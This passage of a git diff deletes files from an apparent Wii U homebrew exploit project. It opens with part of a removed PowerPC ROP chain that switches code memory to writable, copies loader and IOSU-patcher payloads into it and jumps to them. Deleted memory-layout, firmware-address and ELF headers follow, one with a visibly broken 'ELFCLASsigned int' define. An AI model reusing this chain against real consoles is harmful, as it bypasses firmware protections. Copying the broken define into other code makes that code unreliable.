0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; r30 - .word 0xDEAD0001 ; r31 - .word 0xDEAD0001 ; garbage - ; loads pointer to new thread sp into r3 - .word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR - .word (NERD_THREAD0OBJECT+4) ; r3 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - ; r3 contains new thread sp end after this load - .word LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR - .word 0xDEAD0001 ; garbage - ; r3 contains code injection thread sp after this add - .word LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; r30 - .word 0xDEAD0001 ; r31 - .word 0xDEAD0001 ; garbage - ; jump to previously prepared r12 for memcpy - .word MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; r31 - .word 0xDEAD0001 ; garbage - - ; thread stack is prepared after this point - - ; wait for hbl_loader to do its job - call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 - call_func NERD_JOINTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 - - ; prepare system for foreground release - call_func OSSAVESDONE_READYTORELEASE, 0, 0, 0, 0 - - ; instruct all 3 cores to release foreground to prepare mii studio app launch - call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, OSRELEASEFOREGROUND, 0, thread0_param, 0x0, 0x0 - call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 - - call_func_6args NERD_CREATETHREAD, NERD_THREAD2OBJECT, OSRELEASEFOREGROUND, 0, thread2_param, 0x0, 0x0 - call_func NERD_STARTTHREAD, NERD_THREAD2OBJECT, 0x0, 0x0, 0x0 - - ; we are the main thread in core 1 so we call this direct - call_func OSRELEASEFOREGROUND, 0, 0, 0, 0 - - ; launch mii studio app - .word _START_EXIT - - core0rop: - ; switch codegen to RW - call_func OSCODEGEN_SWITCHSECMODE, 0x0, 0x0, 0x0, 0x0 - - ; memcpy code - call_func MEMCPY, HBL_LOADER_ADR, hbl_loader, hbl_loader_end - hbl_loader, 0x0 - call_func MEMCPY, IOSU_PATCHER_ADR, iosu_patcher, iosu_patcher_end - iosu_patcher, 0x0 - call_func MEMCPY, CBHC_MENU_ADDR, cbhc_menu, cbhc_menu_end - cbhc_menu, 0x0 - call_func MEMCPY, VWII_LOADER_ADDR, vwii_loader, vwii_loader_end - vwii_loader, 0x0 - call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xF000, 0x0, 0x0 - - ; switch codegen to RX - call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0 - call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xF000, 0x0, 0x0 - - ; execute option_select in codegen - .word CBHC_MENU_ADDR - core0rop_end: - - ; core 0 thread params - output0_string: - .ascii "hax0thread" - .byte 0x00 - .align 0x4 - - thread0_param: - .word output0_string - .word 0x00800000 ; stack size - .word 0x00000010 ; thread prio - .halfword 0x0001 ; thread affinity (core0) - - ; core 2 thread params - output2_string: - .ascii "hax2thread" - .byte 0x00 - .align 0x4 - - thread2_param: - .word output2_string - .word 0x00800000 ; stack size - .word 0x00000010 ; thread prio - .halfword 0x0004 ; thread affinity (core2) - - hbl_loader: - .incbin "hbl_loader.bin" - hbl_loader_end: - - iosu_patcher: - .incbin "iosu_patcher.bin" - iosu_patcher_end: - - cbhc_menu: - .incbin "cbhc_menu.bin" - cbhc_menu_end: - - vwii_loader: - .incbin "vwii_loader.bin" - vwii_loader_end: - -.Close diff --git a/dsrom/hbl_loader/common.h b/dsrom/hbl_loader/common.h deleted file mode 100644 index feb893a..0000000 --- a/dsrom/hbl_loader/common.h +++ /dev/null @@ -1,45 +0,0 @@ -#ifndef COMMON_H -#define COMMON_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include "os_defs.h" - -#define HBL_VERSION "v1.4" - -#define CAFE_OS_SD_PATH "/vol/external01" -#define SD_PATH "sd:" -#define WIIU_PATH "/wiiu" - -#ifndef MEM_BASE -#define MEM_BASE (0x00800000) -#endif - -#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) -#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) -#define HBL_CHANNEL (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x08)) -#define RPX_MAX_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x0C)) -#define RPX_MAX_CODE_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x10)) -#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) -#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) - -#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) - -#define MEM_AREA_TABLE ((s_mem_area*)(MEM_BASE + 0x1600)) - -#define SD_LOADER_PATH ((char*)(MEM_BASE + 0x1E00)) -#define SD_LOADER_FORCE_HBL (*(volatile unsigned int*)(MEM_BASE + 0x1E00 + 0xFC)) - -#ifndef EXIT_SUCCESS -#define EXIT_SUCCESS 0 -#endif -#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD - -#ifdef __cplusplus -} -#endif - -#endif /* COMMON_H */ - diff --git a/dsrom/hbl_loader/coreinit.h b/dsrom/hbl_loader/coreinit.h deleted file mode 100644 index cf9943e..0000000 --- a/dsrom/hbl_loader/coreinit.h +++ /dev/null @@ -1,31 +0,0 @@ -//Taken from libwiius coreinit.h - -#ifndef COREINIT_H -#define COREINIT_H - -#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) -#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) -#define OSFatal ((void (*)(char* msg))0x01031618) -#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) - -typedef struct OSContext -{ - /* OSContext identifier */ - uint32_t tag1; - uint32_t tag2; - - /* GPRs */ - uint32_t gpr[32]; - - /* Special registers */ - uint32_t cr; - uint32_t lr; - uint32_t ctr; - uint32_t xer; - - /* Initial PC and MSR */ - uint32_t srr0; - uint32_t srr1; -} OSContext; - -#endif /* COREINIT_H */ \ No newline at end of file diff --git a/dsrom/hbl_loader/elf_abi.h b/dsrom/hbl_loader/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/dsrom/hbl_loader/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 